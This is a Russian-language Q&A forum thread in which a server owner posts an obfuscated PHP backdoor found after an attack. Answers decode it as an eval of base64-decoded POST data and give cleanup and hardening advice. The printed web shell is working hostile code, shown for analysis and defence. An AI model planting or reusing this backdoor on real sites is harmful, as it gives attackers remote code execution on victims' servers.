Попытка расшифровать вирус

Мой сервер недавно подвергся атаке, и я пытался выяснить, как и почему это происходит.

Я обнаружил очень похожий шаблон в вирусных файлах, который выглядит примерно так: насколько я могу судить, он пытается запустить определенный файл?

Кто-нибудь видел что-то подобное, и как мне это интерпретировать? Это просто захват отдельных персонажей на основе $sF строка?

<?php

$sF = "PCT4BA6ODSE_";
$s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]);
$s22 = ${strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2])}['nd335c3'];
if (isset($s22)) {
eval($s21($s22));
}?>

20

Решение

Переменная $s21 равно base64_decode а также $s22 равно $_POST['nd335c3'],

Всякий раз, когда POST запрос сделан на ваш сервер, он выполняет любую команду в $_POST['nd335c3']; что, как вы можете ожидать, очень опасно.

Я очень сомневаюсь, что ваш сервер был взломан, но вместо этого был использован скрипт вашего сайта. Есть ли где-нибудь на вашем сайте, где пользователи могут загружать файлы? Я видел много подобных вещей с WordPress с плохо закодированными плагинами.

Исправление проблемы

Чтобы решить проблему, сначала удалите этот файл или часть кода. Вы можете закрыть свой сайт и перевести его в режим обслуживания, пока не сможете выполнить поиск и убедиться, что все остальные файлы не были изменены.

После того, как сайт восстановлен и запущен, зарегистрируйте запросы, сделанные к тому месту, где был найден взломанный файл, или запросы, содержащие ту же самую переменную POST.

Если у вас есть пользователь, который отправляет данные в эксплойт, вы можете проверить все остальные файлы журнала и сравнить их с тем же IP-адресом и агентом пользователя. Это далеко, но, надеюсь, они используют только один компьютер для атаки. Из журналов вы можете увидеть, что именно они посетили, чтобы возможно выполнить атаку и загрузить эксплуатируемый файл.

Предотвращение этого в будущем

  1. Не устанавливайте какой-либо код, который вы найдете в Интернете, на свой сайт, если вы не доверяете разработчику и не уверены, что он полностью защищен и знает, что они выпускают обновления.
  2. Настройте свой веб-сервер так, чтобы он не имел доступа для записи, кроме каталога загрузки и /tmp
  3. Проверьте все загруженные файлы, чтобы убедиться, что они соответствуют вашим ожиданиям.
  4. Не позволяйте PHP запускаться туда, куда загружаются файлы, загружайте файлы как статические прямые файлы. Таким образом, если был загружен файл, который обходит ваши проверки файлов, он все равно не может причинить вреда.
27

Другие решения

Просто следуйте кодовой базе в строке $ sF, и вы увидите, что

$21 = "base64_decode";
$22 = "_POST['nd335c3']";

и остальной код, в основном проверьте, существует ли _POST [‘nd335c3’] и, если это так, выполните код PHP: base64_decode(_POST['nd335c3']);

что делать дальше, я не могу знать, так как вы не отображали весь код вируса.

Надеюсь, это поможет немного.

8

Очень хороший вирус. Приведенные выше ответы, кажется, объясняют достаточно хорошо, но, возможно, теперь вы можете лучше понимать PHP. Вы можете видеть, что PHP довольно дружественен к вирусам, но это одна из тех вещей, которые делают его настолько универсальным и таким классным языком, который можно использовать для многих целей.
чуть менее вредоносный пример обфускации кода:

<?php

$v1 = "sartvuhi_";
$v2 = $v1[3] . $v1[6] . $v1[7] . $v1[0] . $v1[8];
$v3 = $v1[7] . $v1[0] . $v1[8] . $v1[1] . $v1[8];
$v4 = $v1[4] . $v1[7] . $v1[2] . $v1[5] . $v1[0];

echo $v2 . $v3 . $v4;
?>
4
По вопросам рекламы [email protected]